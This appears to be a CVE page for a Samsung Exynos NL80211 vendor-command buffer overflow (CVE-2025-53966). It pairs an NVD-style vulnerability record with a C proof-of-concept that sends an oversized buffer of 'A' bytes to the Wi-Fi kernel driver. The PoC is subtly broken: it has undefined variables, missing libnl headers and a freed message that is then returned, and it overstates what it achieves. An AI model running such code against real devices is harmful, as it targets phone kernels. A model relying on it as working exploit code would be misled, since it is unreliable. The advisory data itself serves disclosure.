CVE-2025-53966

// CVE-2025-53966 PoC - NL80211 Vendor Command Buffer Overflow // This PoC demonstrates the buffer overflow in Samsung Exynos NL80211 handler // Target: Exynos 1380, 1480, 2400, 1580 #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/if_alg.h> #include <linux/nl80211.h> #define ATTR_VENDOR_DATA_SIZE 4096 // Malicious oversized data struct nl_msg *build_malicious_nl80211_msg(void) { struct nl_msg *msg; struct nl80211_multipart_msg *multipart; // Create NL80211 netlink socket int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock < 0) { perror("socket creation failed"); return NULL; } // Allocate NL message msg = nlmsg_alloc(); if (!msg) { close(sock); return NULL; } // Build header: NL80211_CMD_VENDOR genlmsg_put(msg, NL_AUTO_PORT, NL_AUTO_SEQ, nl80211_id, 0, flags, NL80211_CMD_VENDOR, 0); // Add vendor OUI (Samsung) NLA_PUT_U32(msg, NL80211_ATTR_VENDOR_ID, 0x001018); NLA_PUT_U32(msg, NL80211_ATTR_VENDOR_SUBCMD, 0x01); // Malicious payload: oversized vendor data triggers buffer overflow char *overflow_data = malloc(ATTR_VENDOR_DATA_SIZE); memset(overflow_data, 0x41, ATTR_VENDOR_DATA_SIZE); // Fill with 'A' nla_put(msg, NL80211_ATTR_VENDOR_DATA, ATTR_VENDOR_DATA_SIZE, overflow_data); // Send to kernel driver nl_send_auto(sock, msg); free(overflow_data); nlmsg_free(msg); close(sock); return msg; } int main(int argc, char *argv[]) { printf("[*] CVE-2025-53966 PoC - Samsung Exynos NL80211 Buffer Overflow\n"); printf("[*] Target: Exynos 1380/1480/2400/1580\n"); printf("[*] Building malicious NL80211 vendor command...\n"); build_malicious_nl80211_msg(); printf("[+] Payload sent. Check for kernel panic or exploitation.\n"); return 0; }

{"cve": {"id": "CVE-2025-53966", "sourceIdentifier": "[email protected]", "published": "2026-01-05T19:15:56.633", "lastModified": "2026-01-09T15:18:03.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Samsung Mobile Processor Exynos 1380, 1480, 2400, and 1580. Incorrect Handling of the NL80211 vendor command leads to a buffer overflow during handling of an IOCTL message."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1380_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D381478B-C638-4663-BD71-144BE4B02E46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:*", "matchCriteriaId": "61E72146-72FE-4B54-AB79-3C665E7F016C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1480_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "64897B0D-EBF6-4BEB-BF54-ABCDBFAB45E0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1480:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3F328B4-0442-4748-B5EE-DD1CEE50D6CF"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1580_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F3594664-3CE6-4827-ABD4-B5719817F5D5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1580:-:*:*:*:*:*:*:*", "matchCriteriaId": "93C1F9E8-DA04-4466-AF66-01560A07BD98"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2400_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "16D9272E-1794-48FF-B6A4-8F48395BA38E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2400:-:*:*:*:*:*:*:*", "matchCriteriaId": "932F5FB3-5527-44D7-9DD9-EF03963E3CA3"}]}]}], "references": [{"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2025-53966/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}